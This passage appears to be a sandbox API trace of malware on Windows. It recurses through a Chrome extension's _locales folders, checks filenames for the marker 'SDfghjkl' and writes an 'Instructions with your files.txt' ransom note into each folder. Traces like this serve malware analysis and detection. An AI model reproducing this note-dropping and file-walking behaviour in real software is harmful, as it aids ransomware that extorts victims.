[0128.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.904] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.905] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.905] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.905] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.905] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.906] CloseHandle (hObject=0x134) returned 1
[0128.906] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.906] GetProcessHeap () returned 0x810000
[0128.906] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.906] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0128.906] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned 144
[0128.906] GetProcessHeap () returned 0x810000
[0128.906] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.906] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*") returned 146
[0128.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.906] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\.") returned 146
[0128.906] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.906] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\..") returned 147
[0128.906] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.906] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 158
[0128.906] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.906] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.906] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 177
[0128.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.907] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.907] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.908] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.908] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.908] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.908] CloseHandle (hObject=0x134) returned 1
[0128.908] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.914] GetProcessHeap () returned 0x810000
[0128.914] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.914] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0128.914] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned 144
[0128.914] GetProcessHeap () returned 0x810000
[0128.914] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.914] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*") returned 146
[0128.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.939] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\.") returned 146
[0128.939] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.941] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\..") returned 147
[0128.941] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.941] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 158
[0128.941] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.941] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.941] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 177
[0128.941] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.944] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.945] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.946] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.946] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.946] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.946] CloseHandle (hObject=0x134) returned 1
[0128.946] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.946] GetProcessHeap () returned 0x810000
[0128.946] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.946] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0128.946] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned 141
[0128.946] GetProcessHeap () returned 0x810000
[0128.946] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.946] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*") returned 143
[0128.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.947] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\.") returned 143
[0128.947] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.947] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\..") returned 144
[0128.947] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.947] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 155
[0128.947] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.947] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.947] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\Instructions with your files.txt") returned 174
[0128.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.947] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.948] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.948] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.948] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.948] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.948] CloseHandle (hObject=0x134) returned 1
[0128.948] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.948] GetProcessHeap () returned 0x810000
[0128.949] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.949] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0128.949] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned 141
[0128.949] GetProcessHeap () returned 0x810000
[0128.949] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.949] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*") returned 143
[0128.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
